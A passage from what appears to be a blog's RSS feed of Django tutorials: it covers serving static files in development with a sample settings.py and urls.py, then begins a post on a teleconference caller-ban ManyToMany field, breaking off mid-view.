&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">MEDIA_URL&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;/static/&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If you&amp;rsquo;re unsure of where exactly to place that code, here&amp;rsquo;s a complete example
of a brand new &lt;code>settings.py&lt;/code> file for the fake project &lt;code>crapola&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Django settings for crapola project.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">os&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">DEBUG&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">True&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">TEMPLATE_DEBUG&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">DEBUG&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">ADMINS&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># (&amp;#39;Your Name&amp;#39;, &amp;#39;your_email@domain.com&amp;#39;),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">MANAGERS&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ADMINS&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">DATABASES&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;default&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;ENGINE&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s1">&amp;#39;django.db.backends.&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="c1"># Add &amp;#39;postgresql_psycopg2&amp;#39;, &amp;#39;postgresql&amp;#39;, &amp;#39;mysql&amp;#39;, &amp;#39;sqlite3&amp;#39; or &amp;#39;oracle&amp;#39;.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;NAME&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="c1"># Or path to database file if using sqlite3.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;USER&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="c1"># Not used with sqlite3.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;PASSWORD&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="c1"># Not used with sqlite3.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;HOST&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="c1"># Set to empty string for localhost. Not used with sqlite3.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;PORT&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="c1"># Set to empty string for default. Not used with sqlite3.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Local time zone for this installation. Choices can be found here:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># http://en.wikipedia.org/wiki/List_of_tz_zones_by_name&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># although not all choices may be available on all operating systems.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># On Unix systems, a value of None will cause Django to use the same&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># timezone as the operating system.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># If running in a Windows environment this must be set to the same as your&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># system time zone.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">TIME_ZONE&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;America/Chicago&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Language code for this installation. All choices can be found here:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># http://www.i18nguy.com/unicode/language-identifiers.html&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">LANGUAGE_CODE&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;en-us&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">SITE_ID&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># If you set this to False, Django will make some optimizations so as not&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># to load the internationalization machinery.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">USE_I18N&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">True&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># If you set this to False, Django will not format dates, numbers and&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># calendars according to the current locale&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">USE_L10N&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">True&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">SITE_ROOT&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">path&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">realpath&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">path&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dirname&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="vm">__file__&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Absolute path to the directory that holds media.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Example: &amp;#34;/home/media/media.lawrence.com/&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">MEDIA_ROOT&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">path&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">join&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">SITE_ROOT&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;static&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># URL that handles the media served from MEDIA_ROOT. Make sure to use a&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># trailing slash if there is a path component (optional in other cases).&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Examples: &amp;#34;http://media.lawrence.com&amp;#34;, &amp;#34;http://example.com/media/&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">MEDIA_URL&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;/static/&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># URL prefix for admin media -- CSS, JavaScript and images. Make sure to use a&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># trailing slash.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Examples: &amp;#34;http://foo.com/media/&amp;#34;, &amp;#34;/media/&amp;#34;.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">ADMIN_MEDIA_PREFIX&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;/media/&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Make this unique, and don&amp;#39;t share it with anybody.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">SECRET_KEY&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;u%-*1-3qgv$6#0fz&amp;amp;wgu@p)knta@0hnvzs8x%mbm-1j@_s4qx@&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># List of callables that know how to import templates from various sources.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">TEMPLATE_LOADERS&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.template.loaders.filesystem.Loader&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.template.loaders.app_directories.Loader&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># &amp;#39;django.template.loaders.eggs.Loader&amp;#39;,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">MIDDLEWARE_CLASSES&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.middleware.common.CommonMiddleware&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.contrib.sessions.middleware.SessionMiddleware&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.middleware.csrf.CsrfViewMiddleware&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.contrib.auth.middleware.AuthenticationMiddleware&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.contrib.messages.middleware.MessageMiddleware&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">ROOT_URLCONF&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;crapola.urls&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">TEMPLATE_DIRS&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># Put strings here, like &amp;#34;/home/html/django_templates&amp;#34; or &amp;#34;C:/www/django/templates&amp;#34;.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># Always use forward slashes, even on Windows.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># Don&amp;#39;t forget to use absolute paths, not relative paths.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">INSTALLED_APPS&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.contrib.auth&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.contrib.contenttypes&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.contrib.sessions&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.contrib.sites&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.contrib.messages&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># Uncomment the next line to enable the admin:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># &amp;#39;django.contrib.admin&amp;#39;,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The code we added basically:&lt;/p>
&lt;ul>
&lt;li>Creates a new variable, &lt;code>SITE_ROOT&lt;/code>, which contains the absolute pathname
of our project directory, then uses that variable to generate the absolute
pathname of our static content directory.&lt;/li>
&lt;li>Changes &lt;code>MEDIA_URL&lt;/code> to reflect the URL location of our static content in
our actual frontend code (HTML / CSS / JS / etc). This will be useful
later when you&amp;rsquo;re writing CSS mockup (it will save you the trouble of
hardcoding the location of your static content).&lt;/li>
&lt;/ul>
&lt;h2 id="configure-your-urls">Configure Your URLs&lt;/h2>
&lt;p>Now that we&amp;rsquo;ve got our settings configured, we can move onto the last step,
configuring our &lt;code>urls.py&lt;/code> file. In this section, we&amp;rsquo;ll instruct the Django
development server to serve our static content while we are in development mode
only (e.g. when &lt;code>DEBUG=True&lt;/code> in our &lt;code>settings.py&lt;/code> file). This will allow us
the maximum amount of flexibility as we&amp;rsquo;ll be able to automatically serve the
static files during development, but once we go into production let our web
server handle the serving of these files (apache, nginx, lighttpd, etc.).&lt;/p>
&lt;p>So, open up your &lt;code>urls.py&lt;/code> file and add the following to the very bottom:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">crapola.settings&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">DEBUG&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="n">DEBUG&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">urlpatterns&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="n">patterns&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="sa">r&lt;/span>&lt;span class="s1">&amp;#39;^static/(?P&amp;lt;path&amp;gt;.*)$&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.views.static.serve&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>&lt;span class="s1">&amp;#39;document_root&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s1">&amp;#39;static&amp;#39;&lt;/span>&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This will import the &lt;code>DEBUG&lt;/code> variable from our &lt;code>settings.py&lt;/code> file, and check
its value to see if &lt;code>DEBUG=True&lt;/code>. If &lt;code>DEBUG&lt;/code> is true, then we&amp;rsquo;ll have the
Django development server start serving static content-and if not, then we
won&amp;rsquo;t do anything.&lt;/p>
&lt;p>As mentioned above, this will give us maximum flexibility later on. Once we&amp;rsquo;re
ready to deploy our website in production, we simply set &lt;code>DEBUG=False&lt;/code> and
&lt;em>bam&lt;/em>, we&amp;rsquo;ll let our web server handle all the static content serving (it is
much faster that way).&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>As you can see, to serve static content is really not very difficult at all.
It&amp;rsquo;s just a matter of configuring a few settings options, and then adding a URL
pattern if needed.&lt;/p></description></item><item><title>Populating Default ManyToMany Field Values in Django</title><link>https://rdegges.com/2010/populating-default-manytomany-field-values-in-django/</link><pubDate>Fri, 25 Jun 2010 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2010/populating-default-manytomany-field-values-in-django/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2010/populating-default-manytomany-field-values-in-django/pony-sketch.png" alt="Pony Sketch" title="Pony Sketch">
&lt;/p>
&lt;p>At work, I&amp;rsquo;m the lead developer of a rather large, complex web application
which interacts with many different technologies (&lt;a href="http://www.asterisk.org/" title="Asterisk">Asterisk&lt;/a>, &lt;a href="http://freeswitch.org/" title="Freeswitch">Freeswitch&lt;/a>,
Cisco routers, &lt;a href="http://python.org/" title="Python">Python&lt;/a>, XML-RPC, &lt;a href="http://json.org/" title="JSON">JSON&lt;/a>, &lt;a href="https://www.djangoproject.com/" title="Django">Django&lt;/a>&amp;ndash;to name a few). A
few days ago, while implementing a ban system, I bumped into an interesting
problem that was not trivial to find a solution to. So, here it is :)&lt;/p>
&lt;h2 id="background">Background&lt;/h2>
&lt;p>The web application I&amp;rsquo;m developing is a private portal which allows users to
manage teleconference lines real time. Since all of our telephony services are
free of charge, we often get callers onto certain teleconference lines who want
to abuse services (think of those trolls on the internet, except over the
phone). As you can probably imagine, without strict regulation &amp;amp; technology in
place, telephone trolls could cause huge problems for normal users.&lt;/p>
&lt;p>To combat this, I wrote a relatively simple ban system which allows web admins
to remove abusive callers from specific teleconference lines. Each
teleconference line is represented by a Django model class, which looks
something like:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="k">class&lt;/span> &lt;span class="nc">Teleconference&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">models&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">Model&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">name&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">models&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">CharField&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Teleconference name.&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">max_length&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">50&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">did&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">PhoneNumberField&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Teleconference phone number.&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">unique&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="kc">True&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">owner&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">models&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">ForeignKey&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">User&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">bans&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">models&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">ManyToManyField&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">Caller&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">blank&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="kc">True&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">null&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="kc">True&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">__unicode__&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="si">%s&lt;/span>&lt;span class="s1">:&lt;/span>&lt;span class="si">%s&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">name&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">did&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The newly added &lt;code>bans&lt;/code> field stores a list of &lt;code>Caller&lt;/code> objects which map to
individual callers, and allow the web users to ban specific callers if they&amp;rsquo;re
causing trouble.&lt;/p>
&lt;h2 id="problem">Problem&lt;/h2>
&lt;p>The problem came up when I was trying to finish the view which allows web
admins to select which callers they want to ban.&lt;/p>
&lt;p>The view code (originally) looked something like:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">edit_teleconference&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">request&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">id&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="kc">None&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">teleconference&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">get_object_or_404&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">Teleconference&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">id&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="nb">id&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">request&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">method&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;POST&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">form&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">TeleconferenceForm&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">request&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">POST&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">instance&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">teleconference&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">form&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">is_valid&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="s1">&amp;#39;name&amp;#39;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">form&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">cleaned_data&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">teleconference&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">name&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">form&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">cleaned_data&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;name&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="s1">&amp;#39;did&amp;#39;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">form&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">cleaned_data&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">teleconference&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">did&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">form&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">cleaned_data&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;did&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span>
